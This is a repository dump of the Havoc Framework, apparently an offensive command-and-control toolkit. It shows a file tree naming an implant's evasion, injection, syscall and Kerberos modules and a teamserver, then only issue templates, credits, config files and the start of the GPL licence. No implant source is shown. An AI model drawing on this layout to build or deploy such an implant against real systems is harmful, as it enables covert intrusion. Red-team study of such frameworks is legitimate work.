Repository: HavocFramework/Havoc Branch: main Commit: c84f7755a8b1 Files: 564 Total size: 4.1 MB Directory structure: gitextract_7ncmzzmg/ ├── .github/ │ ├── FUNDING.yml │ └── ISSUE_TEMPLATE/ │ ├── Bug_Report-Demon.yml │ ├── Bug_Report-Documentation.yml │ ├── Bug_Report-Teamserver-Client.yml │ ├── Feature_Suggestion.yml │ └── config.yml ├── .gitignore ├── .gitmodules ├── CONTRIBUTING.MD ├── CREDITS.md ├── LICENSE ├── README.md ├── RELEASE.md ├── WIKI.MD ├── assets/ │ ├── Havoc-Client.groovy │ └── Havoc-Teamserver.groovy ├── client/ │ ├── CMakeLists.txt │ ├── README.md │ ├── config.toml │ ├── include/ │ │ ├── External.h │ │ ├── Havoc/ │ │ │ ├── CmdLine.hpp │ │ │ ├── Connector.hpp │ │ │ ├── DBManager/ │ │ │ │ └── DBManager.hpp │ │ │ ├── DemonCmdDispatch.h │ │ │ ├── Havoc.hpp │ │ │ ├── Packager.hpp │ │ │ ├── PythonApi/ │ │ │ │ ├── Event.h │ │ │ │ ├── HavocUi.h │ │ │ │ ├── PyAgentClass.hpp │ │ │ │ ├── PyDemonClass.h │ │ │ │ ├── PythonApi.h │ │ │ │ └── UI/ │ │ │ │ ├── PyDialogClass.hpp │ │ │ │ ├── PyLoggerClass.hpp │ │ │ │ ├── PyTreeClass.hpp │ │ │ │ └── PyWidgetClass.hpp │ │ │ └── Service.hpp │ │ ├── UserInterface/ │ │ │ ├── Dialogs/ │ │ │ │ ├── About.hpp │ │ │ │ ├── Connect.hpp │ │ │ │ ├── Listener.hpp │ │ │ │ └── Payload.hpp │ │ │ ├── HavocUI.hpp │ │ │ ├── SmallWidgets/ │ │ │ │ └── EventViewer.hpp │ │ │ └── Widgets/ │ │ │ ├── Chat.hpp │ │ │ ├── DemonInteracted.h │ │ │ ├── FileBrowser.hpp │ │ │ ├── ListenerTable.hpp │ │ │ ├── LootWidget.h │ │ │ ├── ProcessList.hpp │ │ │ ├── PythonScript.hpp │ │ │ ├── ScriptManager.h │ │ │ ├── SessionGraph.hpp │ │ │ ├── SessionTable.hpp │ │ │ ├── Store.hpp │ │ │ ├── Teamserver.hpp │ │ │ └── TeamserverTabSession.h │ │ ├── Util/ │ │ │ ├── Base.hpp │ │ │ ├── Base64.h │ │ │ └── ColorText.h │ │ └── global.hpp │ ├── makefile │ └── src/ │ ├── Havoc/ │ │ ├── Connector.cc │ │ ├── DBManger/ │ │ │ ├── DBManager.cc │ │ │ ├── Scripts.cc │ │ │ └── Teamserver.cc │ │ ├── Demon/ │ │ │ ├── CommandOutput.cc │ │ │ ├── CommandSend.cc │ │ │ ├── Commands.cc │ │ │ └── ConsoleInput.cc │ │ ├── Havoc.cc │ │ ├── Packager.cc │ │ ├── PythonApi/ │ │ │ ├── Event.cc │ │ │ ├── Havoc.cc │ │ │ ├── HavocUi.cc │ │ │ ├── PyAgentClass.cc │ │ │ ├── PyDemonClass.cc │ │ │ ├── PythonApi.cc │ │ │ └── UI/ │ │ │ ├── PyDialogClass.cc │ │ │ ├── PyLoggerClass.cc │ │ │ ├── PyTreeClass.cc │ │ │ └── PyWidgetClass.cc │ │ └── Service.cc │ ├── Main.cc │ ├── UserInterface/ │ │ ├── Dialogs/ │ │ │ ├── About.cc │ │ │ ├── Connect.cc │ │ │ ├── Listener.cc │ │ │ └── Payload.cc │ │ ├── HavocUi.cc │ │ ├── SmallWidgets/ │ │ │ └── EventViewer.cc │ │ └── Widgets/ │ │ ├── Chat.cc │ │ ├── DemonInteracted.cc │ │ ├── FileBrowser.cc │ │ ├── ListenersTable.cc │ │ ├── LootWidget.cc │ │ ├── ProcessList.cc │ │ ├── PythonScript.cc │ │ ├── ScriptManager.cc │ │ ├── SessionGraph.cc │ │ ├── SessionTable.cc │ │ ├── Store.cc │ │ ├── Teamserver.cc │ │ └── TeamserverTabSession.cc │ ├── Util/ │ │ ├── Base.cpp │ │ ├── Base64.cpp │ │ └── ColorText.cpp │ └── global.cc ├── makefile ├── payloads/ │ ├── Demon/ │ │ ├── CMakeLists.txt │ │ ├── README.md │ │ ├── include/ │ │ │ ├── Demon.h │ │ │ ├── common/ │ │ │ │ ├── Clr.h │ │ │ │ ├── Defines.h │ │ │ │ ├── Macros.h │ │ │ │ └── Native.h │ │ │ ├── core/ │ │ │ │ ├── CoffeeLdr.h │ │ │ │ ├── Command.h │ │ │ │ ├── Dotnet.h │ │ │ │ ├── Download.h │ │ │ │ ├── HwBpEngine.h │ │ │ │ ├── HwBpExceptions.h │ │ │ │ ├── Jobs.h │ │ │ │ ├── Kerberos.h │ │ │ │ ├── Memory.h │ │ │ │ ├── MiniStd.h │ │ │ │ ├── ObjectApi.h │ │ │ │ ├── Package.h │ │ │ │ ├── Parser.h │ │ │ │ ├── Pivot.h │ │ │ │ ├── Process.h │ │ │ │ ├── Runtime.h │ │ │ │ ├── SleepObf.h │ │ │ │ ├── Socket.h │ │ │ │ ├── Spoof.h │ │ │ │ ├── SysNative.h │ │ │ │ ├── Syscalls.h │ │ │ │ ├── Thread.h │ │ │ │ ├── Token.h │ │ │ │ ├── Transport.h │ │ │ │ ├── TransportHttp.h │ │ │ │ ├── TransportSmb.h │ │ │ │ └── Win32.h │ │ │ ├── crypt/ │ │ │ │ └── AesCrypt.h │ │ │ └── inject/ │ │ │ ├── Inject.h │ │ │ └── InjectUtil.h │ │ ├── makefile │ │ ├── scripts/ │ │ │ └── hash_func.py │ │ └── src/ │ │ ├── Demon.c │ │ ├── asm/ │ │ │ ├── Spoof.x64.asm │ │ │ ├── Spoof.x86.asm │ │ │ ├── Syscall.x64.asm │ │ │ └── Syscall.x86.asm │ │ ├── core/ │ │ │ ├── CoffeeLdr.c │ │ │ ├── Command.c │ │ │ ├── Dotnet.c │ │ │ ├── Download.c │ │ │ ├── HwBpEngine.c │ │ │ ├── HwBpExceptions.c │ │ │ ├── Jobs.c │ │ │ ├── Kerberos.c │ │ │ ├── Memory.c │ │ │ ├── MiniStd.c │ │ │ ├── Obf.c │ │ │ ├── ObjectApi.c │ │ │ ├── Package.c │ │ │ ├── Parser.c │ │ │ ├── Pivot.c │ │ │ ├── Runtime.c │ │ │ ├── Socket.c │ │ │ ├── Spoof.c │ │ │ ├── SysNative.c │ │ │ ├── Syscalls.c │ │ │ ├── Thread.c │ │ │ ├── Token.c │ │ │ ├── Transport.c │ │ │ ├── TransportHttp.c │ │ │ ├── TransportSmb.c │ │ │ └── Win32.c │ │ ├── crypt/ │ │ │ └── AesCrypt.c │ │ ├── inject/ │ │ │ ├── Inject.c │ │ │ └── InjectUtil.c │ │ └── main/ │ │ ├── MainDll.c │ │ ├── MainExe.c │ │ └── MainSvc.c │ ├── DllLdr/ │ │ ├── Include/ │ │ │ ├── Core.h │ │ │ ├── Macro.h │ │ │ └── Native.h │ │ ├── Scripts/ │ │ │ └── extract.py │ │ ├── Source/ │ │ │ └── Entry.c │ │ └── makefile │ └── Shellcode/ │ ├── Bin/ │ │ └── .gitignore │ ├── Include/ │ │ ├── Core.h │ │ ├── Macro.h │ │ ├── Utils.h │ │ └── Win32.h │ ├── Scripts/ │ │ ├── Hasher │ │ ├── Hasher.c │ │ ├── Linker.ld │ │ └── extract.py │ ├── Source/ │ │ ├── Asm/ │ │ │ ├── x64/ │ │ │ │ └── Asm.s │ │ │ └── x86/ │ │ │ └── Asm.s │ │ ├── Entry.c │ │ ├── Utils.c │ │ └── Win32.c │ └── makefile ├── profiles/ │ ├── havoc.yaotl │ ├── http_smb.yaotl │ └── webhook_example.yaotl └── teamserver/ ├── GA-Teamserver ├── Install.sh ├── README.md ├── Teamserver-Dockerfile ├── cmd/ │ ├── client.go │ ├── cmd.go │ ├── server/ │ │ ├── agent.go │ │ ├── dispatch.go │ │ ├── listener.go │ │ ├── service.go │ │ ├── teamserver.go │ │ └── types.go │ └── server.go ├── go.mod ├── go.sum ├── main.go └── pkg/ ├── agent/ │ ├── agent.go │ ├── commands.go │ ├── demons.go │ └── types.go ├── colors/ │ └── colors.go ├── common/ │ ├── builder/ │ │ └── builder.go │ ├── certs/ │ │ └── https.go │ ├── crypt/ │ │ └── aes.go │ ├── packer/ │ │ └── packer.go │ ├── parser/ │ │ └── parser.go │ └── util.go ├── db/ │ ├── agents.go │ ├── db.go │ ├── links.go │ ├── listeners.go │ └── misc.go ├── events/ │ ├── chatlog.go │ ├── demons.go │ ├── events.go │ ├── gate.go │ ├── listeners.go │ ├── service.go │ └── teamserver.go ├── handlers/ │ ├── 404.html │ ├── external.go │ ├── handlers.go │ ├── http.go │ ├── smb.go │ └── types.go ├── logger/ │ ├── global.go │ └── logger.go ├── logr/ │ ├── demon.go │ ├── listener.go │ ├── logr.go │ └── server.go ├── packager/ │ ├── packages.go │ └── types.go ├── profile/ │ ├── config.go │ ├── profile.go │ └── yaotl/ │ ├── diagnostic.go │ ├── diagnostic_text.go │ ├── didyoumean.go │ ├── doc.go │ ├── eval_context.go │ ├── expr_call.go │ ├── expr_list.go │ ├── expr_map.go │ ├── expr_unwrap.go │ ├── ext/ │ │ ├── README.md │ │ ├── customdecode/ │ │ │ ├── README.md │ │ │ ├── customdecode.go │ │ │ └── expression_type.go │ │ ├── dynblock/ │ │ │ ├── README.md │ │ │ ├── expand_body.go │ │ │ ├── expand_body_test.go │ │ │ ├── expand_spec.go │ │ │ ├── expr_wrap.go │ │ │ ├── iteration.go │ │ │ ├── public.go │ │ │ ├── schema.go │ │ │ ├── unknown_body.go │ │ │ ├── variables.go │ │ │ ├── variables_hcldec.go │ │ │ └── variables_test.go │ │ ├── transform/ │ │ │ ├── doc.go │ │ │ ├── error.go │ │ │ ├── transform.go │ │ │ ├── transform_test.go │ │ │ └── transformer.go │ │ ├── tryfunc/ │ │ │ ├── README.md │ │ │ ├── tryfunc.go │ │ │ └── tryfunc_test.go │ │ ├── typeexpr/ │ │ │ ├── README.md │ │ │ ├── doc.go │ │ │ ├── get_type.go │ │ │ ├── get_type_test.go │ │ │ ├── public.go │ │ │ ├── type_string_test.go │ │ │ ├── type_type.go │ │ │ └── type_type_test.go │ │ └── userfunc/ │ │ ├── README.md │ │ ├── decode.go │ │ ├── decode_test.go │ │ ├── doc.go │ │ └── public.go │ ├── gohcl/ │ │ ├── decode.go │ │ ├── doc.go │ │ ├── encode.go │ │ ├── schema.go │ │ └── types.go │ ├── guide/ │ │ ├── Makefile │ │ ├── conf.py │ │ ├── go.rst │ │ ├── go_decoding_gohcl.rst │ │ ├── go_decoding_hcldec.rst │ │ ├── go_decoding_lowlevel.rst │ │ ├── go_diagnostics.rst │ │ ├── go_expression_eval.rst │ │ ├── go_parsing.rst │ │ ├── go_patterns.rst │ │ ├── index.rst │ │ ├── intro.rst │ │ ├── language_design.rst │ │ ├── make.bat │ │ └── requirements.txt │ ├── hcldec/ │ │ ├── block_labels.go │ │ ├── decode.go │ │ ├── doc.go │ │ ├── gob.go │ │ ├── public.go │ │ ├── public_test.go │ │ ├── schema.go │ │ ├── spec.go │ │ ├── spec_test.go │ │ ├── variables.go │ │ └── variables_test.go │ ├── hcled/ │ │ ├── doc.go │ │ └── navigation.go │ ├── hclparse/ │ │ └── parser.go │ ├── hclsimple/ │ │ └── hclsimple.go │ ├── hclsyntax/ │ │ ├── diagnostics.go │ │ ├── didyoumean.go │ │ ├── doc.go │ │ ├── expression.go │ │ ├── expression_ops.go │ │ ├── expression_template.go │ │ ├── expression_vars.go │ │ ├── expression_vars_gen.go │ │ ├── file.go │ │ ├── fuzz/ │ │ │ ├── Makefile │ │ │ ├── README.md │ │ │ ├── config/ │ │ │ │ ├── corpus/ │ │ │ │ │ ├── attr-expr.hcl │ │ │ │ │ ├── attr-literal.hcl │ │ │ │ │ ├── block-attrs.hcl │ │ │ │ │ ├── block-empty.hcl │ │ │ │ │ ├── block-nested.hcl │ │ │ │ │ ├── empty.hcl │ │ │ │ │ └── utf8.hcl │ │ │ │ └── fuzz.go │ │ │ ├── expr/ │ │ │ │ ├── corpus/ │ │ │ │ │ ├── empty.hcle │ │ │ │ │ ├── escape-dollar.hcle │ │ │ │ │ ├── escape-newline.hcle │ │ │ │ │ ├── function-call.hcle │ │ │ │ │ ├── int.hcle │ │ │ │ │ ├── literal.hcle │ │ │ │ │ ├── splat-attr.hcle │ │ │ │ │ ├── splat-full.hcle │ │ │ │ │ ├── utf8.hcle │ │ │ │ │ └── var.hcle │ │ │ │ └── fuzz.go │ │ │ ├── template/ │ │ │ │ ├── corpus/ │ │ │ │ │ ├── empty.tmpl │ │ │ │ │ ├── escape-dollar.tmpl │ │ │ │ │ ├── escape-newline.tmpl │ │ │ │ │ ├── function-call.tmpl │ │ │ │ │ ├── int.tmpl │ │ │ │ │ ├── just-interp.tmpl │ │ │ │ │ ├── literal.tmpl │ │ │ │ │ └── utf8.tmpl │ │ │ │ └── fuzz.go │ │ │ └── traversal/ │ │ │ ├── corpus/ │ │ │ │ ├── attr.hclt │ │ │ │ ├── complex.hclt │ │ │ │ ├── index.hclt │ │ │ │ └── root.hclt │ │ │ └── fuzz.go │ │ ├── generate.go │ │ ├── keywords.go │ │ ├── navigation.go │ │ ├── node.go │ │ ├── parser.go │ │ ├── parser_template.go │ │ ├── parser_traversal.go │ │ ├── peeker.go │ │ ├── public.go │ │ ├── scan_string_lit.go │ │ ├── scan_string_lit.rl │ │ ├── scan_tokens.go │ │ ├── scan_tokens.rl │ │ ├── structure.go │ │ ├── structure_at_pos.go │ │ ├── token.go │ │ ├── token_type_string.go │ │ ├── unicode2ragel.rb │ │ ├── unicode_derived.rl │ │ ├── variables.go │ │ └── walk.go │ ├── hcltest/ │ │ ├── doc.go │ │ ├── mock.go │ │ └── mock_test.go │ ├── hclwrite/ │ │ ├── ast.go │ │ ├── ast_attribute.go │ │ ├── ast_block.go │ │ ├── ast_block_test.go │ │ ├── ast_body.go │ │ ├── ast_body_test.go │ │ ├── ast_expression.go │ │ ├── ast_test.go │ │ ├── doc.go │ │ ├── examples_test.go │ │ ├── format.go │ │ ├── format_test.go │ │ ├── fuzz/ │ │ │ ├── Makefile │ │ │ ├── README.md │ │ │ └── config/ │ │ │ ├── corpus/ │ │ │ │ ├── attr-expr.hcl │ │ │ │ ├── attr-literal.hcl │ │ │ │ ├── attr.hcl │ │ │ │ ├── block-attrs.hcl │ │ │ │ ├── block-comment.hcl │ │ │ │ ├── block-empty.hcl │ │ │ │ ├── block-nested.hcl │ │ │ │ ├── complex.hcl │ │ │ │ ├── empty.hcl │ │ │ │ ├── escape-dollar.hcl │ │ │ │ ├── escape-newline.hcl │ │ │ │ ├── function-call-tmpl.hcl │ │ │ │ ├── function-call.hcl │ │ │ │ ├── hash-comment.hcl │ │ │ │ ├── index.hcl │ │ │ │ ├── int-tmpl.hcl │ │ │ │ ├── int.hcl │ │ │ │ ├── just-interp.hcl │ │ │ │ ├── literal.hcl │ │ │ │ ├── lots-of-comments.hcl │ │ │ │ ├── slash-comment.hcl │ │ │ │ ├── splat-attr.hcl │ │ │ │ ├── splat-dot-full.hcl │ │ │ │ ├── splat-full.hcl │ │ │ │ ├── traversal-dot-index-terminal.hcl │ │ │ │ ├── traversal-dot-index.hcl │ │ │ │ ├── traversal-index.hcl │ │ │ │ ├── utf8.hcl │ │ │ │ └── var.hcl │ │ │ └── fuzz.go │ │ ├── generate.go │ │ ├── generate_test.go │ │ ├── native_node_sorter.go │ │ ├── node.go │ │ ├── parser.go │ │ ├── parser_test.go │ │ ├── public.go │ │ ├── round_trip_test.go │ │ └── tokens.go │ ├── json/ │ │ ├── ast.go │ │ ├── didyoumean.go │ │ ├── didyoumean_test.go │ │ ├── doc.go │ │ ├── fuzz/ │ │ │ ├── Makefile │ │ │ ├── README.md │ │ │ └── config/ │ │ │ ├── corpus/ │ │ │ │ ├── attr-expr.hcl.json │ │ │ │ ├── attr-literal.hcl.json │ │ │ │ ├── block-attrs.hcl.json │ │ │ │ ├── block-empty.json │ │ │ │ ├── block-nested.hcl.json │ │ │ │ ├── empty.hcl.json │ │ │ │ ├── list-empty.json │ │ │ │ ├── list-nested.json │ │ │ │ ├── list-values.json │ │ │ │ ├── number-big.hcl.json │ │ │ │ ├── number-int.hcl.json │ │ │ │ └── utf8.hcl.json │ │ │ └── fuzz.go │ │ ├── navigation.go │ │ ├── navigation_test.go │ │ ├── parser.go │ │ ├── parser_test.go │ │ ├── peeker.go │ │ ├── public.go │ │ ├── public_test.go │ │ ├── scanner.go │ │ ├── scanner_test.go │ │ ├── spec.md │ │ ├── structure.go │ │ ├── structure_test.go │ │ └── tokentype_string.go │ ├── merged.go │ ├── ops.go │ ├── pos.go │ ├── pos_scanner.go │ ├── schema.go │ ├── specsuite/ │ │ ├── README.md │ │ ├── spec_test.go │ │ └── tests/ │ │ ├── comments/ │ │ │ ├── hash_comment.hcl │ │ │ ├── hash_comment.hcldec │ │ │ ├── hash_comment.t │ │ │ ├── multiline_comment.hcl │ │ │ ├── multiline_comment.hcldec │ │ │ ├── multiline_comment.t │ │ │ ├── slash_comment.hcl │ │ │ ├── slash_comment.hcldec │ │ │ └── slash_comment.t │ │ ├── empty.hcl │ │ ├── empty.hcl.json │ │ ├── empty.hcldec │ │ ├── empty.t │ │ ├── expressions/ │ │ │ ├── heredoc.hcl │ │ │ ├── heredoc.hcldec │ │ │ ├── heredoc.t │ │ │ ├── operators.hcl │ │ │ ├── operators.hcldec │ │ │ ├── operators.t │ │ │ ├── primitive_literals.hcl │ │ │ ├── primitive_literals.hcldec │ │ │ └── primitive_literals.t │ │ └── structure/ │ │ ├── attributes/ │ │ │ ├── expected.hcl │ │ │ ├── expected.hcldec │ │ │ ├── expected.t │ │ │ ├── singleline_bad.hcl │ │ │ ├── singleline_bad.hcldec │ │ │ ├── singleline_bad.t │ │ │ ├── unexpected.hcl │ │ │ ├── unexpected.hcldec │ │ │ └── unexpected.t │ │ └── blocks/ │ │ ├── single_empty_oneline.hcl │ │ ├── single_empty_oneline.hcldec │ │ ├── single_empty_oneline.t │ │ ├── single_expected.hcl │ │ ├── single_expected.hcldec │ │ ├── single_expected.t │ │ ├── single_oneline.hcl │ │ ├── single_oneline.hcldec │ │ ├── single_oneline.t │ │ ├── single_oneline_invalid.hcl │ │ ├── single_oneline_invalid.hcldec │ │ ├── single_oneline_invalid.t │ │ ├── single_unclosed.hcl │ │ ├── single_unclosed.hcldec │ │ └── single_unclosed.t │ ├── static_expr.go │ ├── structure.go │ ├── structure_at_pos.go │ ├── traversal.go │ └── traversal_for_expr.go ├── service/ │ ├── agent.go │ ├── external.go │ ├── listener.go │ ├── service.go │ └── types.go ├── socks/ │ ├── socks.go │ └── util.go ├── utils/ │ └── utils.go ├── webhook/ │ ├── discord.go │ └── webhook.go └── win32/ └── types.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/FUNDING.yml ================================================ # These are supported funding model platforms github: [Cracked5pider] patreon: 5pider ================================================ FILE: .github/ISSUE_TEMPLATE/Bug_Report-Demon.yml ================================================ name: Demon-Implant Bug Report description: File a bug report for the Demon Implant title: "[File a bug report for the Demon Implant]: " labels: ["bug"] assignees: - C5pider body: - type: markdown attributes: value: "Thanks for taking the time to fill out this bug report!" - type: textarea id: what-happened attributes: label: "What happened?" description: "Also tell us, what did you expect to happen?" placeholder: "Tell me about the numbers Mason!" value: "A bug happened!" validations: required: true - type: dropdown id: branch attributes: label: Did You Try With the Dev Branch? description: "This branch has the latest features and fixes so it might solve your problem" options: - "Yes (You tried using the dev branch but the problem persists)" - "No (You only tried the main branch...)" validations: required: true - type: textarea id: logs attributes: description: "Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks." label: "Relevant log output" render: shell - type: checkboxes id: terms attributes: label: Did You Read Over Your Issue First? description: "By submitting this issue, you confirm you posted replication steps and information about the issue, so that it may be fully understood ." options: - label: "I declare I made an effort and provided the necessary information for replication of the issue." required: true ================================================ FILE: .github/ISSUE_TEMPLATE/Bug_Report-Documentation.yml ================================================ name: Documentation Bug Report description: File a bug report for the Documentation relating to the Havoc Framework. title: "[File a bug report for the Havoc Framework Documentation]: " labels: ["documentation"] assignees: - C5pider body: - type: markdown attributes: value: "Thanks for taking the time to fill out this bug report!" - type: input id: contact attributes: label: "Contact Details" description: "How can we get in touch with you if we need more info?" placeholder: "ex. email@example.com" validations: required: false - type: textarea id: what-grammar attributes: label: "What's the issue?" description: "Also tell us, what should it be?" placeholder: "Tell me about the numbers Mason!" value: "You mispelled 'cat'!" validations: required: true - type: dropdown id: version attributes: label: Did You Do a Pull First? description: "If this isn't related to the github wiki, What version of our software are you running?" options: - "Latest (You performed a pull first)" - "Anything else (You didn't pull...)" validations: required: true - type: checkboxes attributes: label: Did You Read Over Your Issue First? description: "By submitting this issue, you declare you fully thought about your suggestion and have read it aloud back to yourself and made sure it sounds alright." options: - label: "I declare I made an effort and provided the necessary information for identification and remediation of the issue." required: true ================================================ FILE: .github/ISSUE_TEMPLATE/Bug_Report-Teamserver-Client.yml ================================================ name: "Teamserver/Client Bug Report" description: File a bug report for the Teamserver client relating to the Havoc Framework. title: "[Teamserver-Client--Bug]: " labels: ["clientside/teamserver"] assignees: - C5pider body: - type: markdown attributes: value: "Thanks for taking the time to fill out this bug report!" - type: input id: contact attributes: label: "Contact Details" description: "How can we get in touch with you if we need more info?" placeholder: "ex. email@example.com" validations: required: false - type: textarea id: what-happened attributes: description: "Also tell us, what did you expect to happen?" label: "What happened?" placeholder: "Tell me about the numbers Mason!" value: "A bug happened!" validations: required: true - type: dropdown id: version attributes: description: "What version of our software are you running?" label: Did You Do a Pull First? options: - "Latest (You performed a pull first)" - "Anything else (You didn't pull...)" validations: required: true - type: dropdown id: branch attributes: label: Did You Try With the Dev Branch? description: "This branch has the latest features and fixes so it might solve your problem" options: - "Yes (You tried using the dev branch but the problem persist)" - "No (You only tried the main branch...)" validations: required: true - type: textarea id: logs attributes: label: "Relevant log output" description: "Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks." render: shell - type: checkboxes id: checkboxes id: terms attributes: description: "By submitting this issue, you declare you posted replication steps and information about the issue, so that it may be fully understood ." label: Did You Read Over Your Issue First? options: - label: "I declare I made an effort and provided the necessary information for replication of the issue." required: true ================================================ FILE: .github/ISSUE_TEMPLATE/Feature_Suggestion.yml ================================================ name: Feature Suggestion description: File a feature suggestion for the Havoc Framework title: "[Feature Suggestions/Enhancements]: " labels: ["enhancement"] assignees: - C5pider body: - type: markdown attributes: value: | Thanks for taking the time to suggest a feature! - type: input id: contact attributes: label: Contact Details description: How can we get in touch with you if we need more info? placeholder: ex. email@example.com validations: required: false - type: textarea id: what-is attributes: label: What is the idea? description: Please expound on it, and list any supporting resources that be helpful. placeholder: Tell me what the numbers mean Mason! value: "You should convert the teamserver to C++" validations: required: true - type: dropdown id: version attributes: label: Is_it_already_in? description: Does the feature already exist in Havoc? options: - No (You checked and it doesn't.) - Yes (You didn't check...) validations: required: true - type: textarea id: logs attributes: label: Relevant code samples description: Please insert any relevant code you think may be helpful in understanding/implementing the feature. This will be automatically formatted into code, so no need for backticks. If you already have a feature built and would like to add it to the project, please make a pull request instead. render: shell - type: checkboxes id: terms attributes: label: Are-You-Trolling? description: By submitting this issue, you declare you are making a sincere effort towards improving the functionality/feature set of the Havoc Framework.. options: - label: I declare I made an effort and provided the necessary information for an understanding of the feature by the Framework authors. required: true ================================================ FILE: .github/ISSUE_TEMPLATE/config.yml ================================================ --- blank_isues_enabled: false contact_links: - about: "The official Havoc Framework Project's discord server" name: "Havoc Framework Discord" url: "https://discord.gg/X5TYNCpXkD" ================================================ FILE: .gitignore ================================================ # ignore .idea */.idea/ # ignore cmake generated stuff Client/Build **/cmake-build-debug/ # dont commit your loot Teamserver/data/loot/ # dont commit your secrets Client/Data/database.db # ignore go stuff Teamserver/go.sum # ignore compiled binaries Client/Havoc Teamserver/teamserver # ignore MUSL C Compiler stuff Teamserver/data/x86_64-w64-mingw32-cross/ # ignore havoc binary havoc # ignore data directory data/ # ignore client directories client/Build/ client/Havoc client/Modules/ ================================================ FILE: .gitmodules ================================================ [submodule "client/external/spdlog"] path = client/external/spdlog url = https://github.com/gabime/spdlog [submodule "client/external/json"] path = client/external/json url = https://github.com/nlohmann/json [submodule "client/external/toml"] path = client/external/toml url = https://github.com/ToruNiina/toml11 ================================================ FILE: CONTRIBUTING.MD ================================================ # Guide to Contributing ### Pushing Changes to `dev` - It is preferred that new changes are pushed to a new branch, and then a pull request is made to merge that new branch back into Main/Master - Steps: 1. Create a new local branch: * `git switch -c ` 2. Confirm the new branch was created: * `git branch -a` 3. Confirm the upstream branch you'll be committing to and make a push: * `git push -set-upstream origin ` ================================================ FILE: CREDITS.md ================================================ # Credits In this file i give credits to those people who helped me working on this project. - [Austin Hudson](https://twitter.com/ilove2pwn_) A lot of the code and ideas are based on his projects. Foliage is one of the sleep obfuscation techniques used by the havoc agent. - [Bobby Cooke](https://twitter.com/0xBoku) A lot of techniques used are based on his projects. - [Codex](https://twitter.com/codex_tf2) Contributed and tested the C2 for flaws and bugs. - [Robert Musser](https://twitter.com/r_o_b_e_r_t_1) Contributed and tested the C2 for flaws and bugs. Added Docker support. - [Adam Svoboda](https://twitter.com/adamsvoboda) Contributed and tested the C2 for flaws and bugs. Worked on the wiki for the api, service and profiles. - [trickster0](https://twitter.com/trickster012) Contributed and tested the C2 for flaws and bugs. - [Raul • theg3ntl3m4n](https://twitter.com/theg3ntl3m4n) Contributed and tested the C2 for flaws and bugs. - [Zach Fleming](https://twitter.com/The___Undergrad) Contributed and tested the C2 for flaws and bugs. - [Shawn (anthemtotheego)](https://twitter.com/anthemtotheego) Contributed and tested the C2 for flaws and bugs. - [chbGSmCm](https://github.com/chbGSmCm) Contributed and tested the C2 for flaws and bugs. - [Laith Yassin](https://twitter.com/LaithYassin13) Logo Designer. - [Fawaz - بوجابر](https://twitter.com/q8fawazo) Contributed and tested the C2 for flaws and bugs. - [Giorgos Karantzas](https://twitter.com/GeKarantzas) & [Constantinos Patsakis](https://twitter.com/kpatsak) of University of Piraeus: Various forms of generic\academic help during a past research engagement. Note: All experimentation took place prior to April 2022 - [@infosecnoodle](https://twitter.com/infosecnoodle) Designed session graph/table agent icons (with lighting bolt effects for high elevated targets) ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is 